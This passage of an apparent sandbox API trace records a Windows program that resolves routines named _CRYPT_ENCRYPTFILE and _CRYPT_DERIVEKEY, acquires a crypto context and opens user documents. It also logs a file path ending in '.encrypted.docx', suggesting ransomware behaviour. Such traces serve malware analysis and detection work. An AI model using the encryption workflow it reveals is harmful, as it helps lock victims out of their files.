wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.478] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.480] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.480] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.480] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.480] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.480] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.481] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.482] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.482] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.482] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.482] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.483] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.483] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.483] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.483] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.483] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3593) returned 1 [0024.483] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.483] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.483] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.483] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xe09, lpOverlapped=0x0) returned 1 [0024.483] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.484] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xe09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.484] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3593) returned 1 [0024.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\n", cchWideChar=79, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 79 [0024.484] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\n", cchWideChar=79, lpMultiByteStr=0xe8f406a070, cbMultiByte=79, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\Par3V.encrypted.docx\r\n", lpUsedDefaultChar=0x0) returned 79 [0024.484] WriteFile (in: hFile=0x188, lpBuffer=0xe8f406a1f0*, nNumberOfBytesToWrite=0x4e, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f406a1f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4e, lpOverlapped=0x0) returned 1 [0024.484] CloseHandle (hObject=0x188) returned 1 [0024.485] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.485] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.485] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.485] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.485] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.485] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.485] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.486] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.486] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178500, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.487] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178880, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.487] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.pdf", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0024.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.pdf", cchWideChar=55, lpMultiByteStr=0xe8f404c010, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.pdf", lpUsedDefaultChar=0x0) returned 55 [0024.487] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.pdf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gmgulv1jfwyowc.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=55, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 55 [0024.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=55, lpWideCharStr=0xe8f40655f0, cchWideChar=55 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gMgUlv1jFWYOWc.pdf") returned 55 [0024.488] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.488] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.488] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.488] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.489] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.489] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.489] CloseHandle (hObject=0x188) returned 1 [0024.489] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.489] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.489] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.489] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.489] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.489] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.490] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.490] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.490] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.490] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.490] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.490] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.491] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.491] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.491] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.491] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.491] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.491] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.491] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.492] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.492] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.492] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, 